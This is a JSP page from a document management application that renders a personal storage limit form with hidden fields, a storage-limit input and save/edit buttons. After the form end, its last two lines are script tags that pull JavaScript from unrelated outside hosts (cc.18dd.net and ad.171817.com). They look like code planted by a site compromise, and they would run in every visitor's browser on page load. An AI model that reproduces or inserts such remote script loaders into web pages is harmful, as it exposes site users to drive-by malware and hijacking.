<%
/*
 * @(#)EditDmsGroupRoleFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsGroupRoleFolder.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.11.2.6 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.text.NumberFormat" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsPersonalStorageSetupForm" scope="request" class="com.dcivision.dms.web.MaintDmsPersonalStorageSetupForm"/>

<%
  String strTitle = "-Personal Storage Setup";
%>
<script language="javascript">
<!--

PreloadImages('<html:img src="Uploading.gif" pathOnly="true"/>');
var flowWindow = null;
var clickedFlag = false;
var targetAction = ''; 

function closeFlowWindow() {
  if (popupwin) {
    popupWin.close();
  }
}


function checkUnlimit(){
  if (document.maintDmsPersonalStorageSetupForm.unlimit.checked==true){
    document.maintDmsPersonalStorageSetupForm.storageLimit.disabled=true;
    document.maintDmsPersonalStorageSetupForm.storageLimit.value='';
  }else{
    document.maintDmsPersonalStorageSetupForm.storageLimit.disabled=false;
  }
}

function CustOpSave(){

 if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
 } else {
    if(parseFloat(document.maintDmsPersonalStorageSetupForm.storageLimit.value)=='0'){
        alert("<bean:message key='dms.message.not_allow_zero'/>");
        return(false);
    }
    if (document.maintDmsPersonalStorageSetupForm.unlimit.checked==true){
      document.maintDmsPersonalStorageSetupForm.storageLimit.value="";
    }
    if(document.maintDmsPersonalStorageSetupForm.storageLimit.value=="" && document.maintDmsPersonalStorageSetupForm.unlimit.checked==false){
      alert("<bean:message key='dms.message.storage_limit_required'/>");
      return(true);
    }   
    document.maintDmsPersonalStorageSetupForm.closeFlag.value="2";
    OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes');
    document.maintDmsPersonalStorageSetupForm.opMode.value = OP_MODE_UPDATE;
    document.maintDmsPersonalStorageSetupForm.navMode.value = "";
    document.maintDmsPersonalStorageSetupForm.submit();
    clickedFlag = true;
   
  }
   return(false);
}
-->
</script>

<!-- Form Section Begin -->
<html:form action="dms/MaintDmsPersonalStorageSetup" method="POST" styleClass="form-style-2">
<%try{ %>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property="memberID"/>
<html:hidden property="memberType"/>
<html:hidden property="memberName"/>
<html:hidden property="closeFlag" value="0"/>
<%
	String returnURL = "ListDmsPersonalStorageSetup.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN;
%>
<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    	<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    </div>
</div>

<div class="generalContainer">
	<table width="100%"><layout:sectionHeader name="dms.label.edit_personal_storage" mandatory="true"/></table>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td class="formLabelSmallMan"><bean:message key='dms.label.storage_limit'/>:</td>
    <td class="formFieldSmall">
    <%if ("0.0".equals(maintDmsPersonalStorageSetupForm.getStorageLimit())){    %>
       <html:float property='storageLimit' disabled='true' value='' size='10' maxlength='20'/> MB<%//=Utility.isEmpty(maintDmsRootForm.getStorageLimit())?"":"MB"%>
   <% }else{
     	String varStorageLimit = maintDmsPersonalStorageSetupForm.getStorageLimit();
    	NumberFormat nf = NumberFormat.getInstance();
		nf.setMaximumFractionDigits(20);
		nf.setMinimumFractionDigits(1);
// update by beyond for bug EIP-1889 
        varStorageLimit = varStorageLimit==null?"":String.valueOf(new Double(varStorageLimit));
        if(maintDmsPersonalStorageSetupForm.getOpMode()!=null){
             out.println(varStorageLimit+"MB");
        }else{
   %>
       <html:float property='storageLimit' size='10' maxlength='20' value="<%=varStorageLimit%>"/> MB
   <%    }
   // end update
      }%>
       <html:checkbox property='unlimit' value='Y' onclick="checkUnlimit();" /><bean:message key='dms.label.root_unlimit'/>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="user.columnheader.member_name"/>:</td>
    <td class="formFieldSmall"><bean:write name="maintDmsPersonalStorageSetupForm" property="memberName"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="user.columnheader.member_type"/>:</td>
    <td class="formFieldSmall">
    <logic:equal name='maintDmsPersonalStorageSetupForm' property='memberType' value='<%=UserMember.MEMBER_TYPE_USER%>'>
      <bean:message key='user.label.member_type_user'/>
    </logic:equal>
    <logic:equal name='maintDmsPersonalStorageSetupForm' property='memberType' value='<%=UserMember.MEMBER_TYPE_GROUP%>'>
      <bean:message key='user.label.member_type_group'/>
    </logic:equal>
    <logic:equal name='maintDmsPersonalStorageSetupForm' property='memberType' value='<%=UserMember.MEMBER_TYPE_ROLE%>'>
      <bean:message key='user.label.member_type_role'/>
    </logic:equal>
    </td>
  </tr>
</table>
</div>

<div class="generalBottomButtonArea">
    <div id="buttonSection">
 <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsPersonalStorageSetupForm.getNavMode())){%>
 <html:standardButton label="common.label.save" onClick="return CustOpSave()"/>	
 <%}else{%>
   <html:permissionButton label="common.label.edit" right="E" link="MaintDmsPersonalStorageSetup.do?navMode=E&ID=${maintDmsPersonalStorageSetupForm.ID}"/>
 <%}%>
    </div>
</div>
<%}catch(Exception e){
	LogFactory.getLog(this.getClass()).error(e, e);
}%>
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>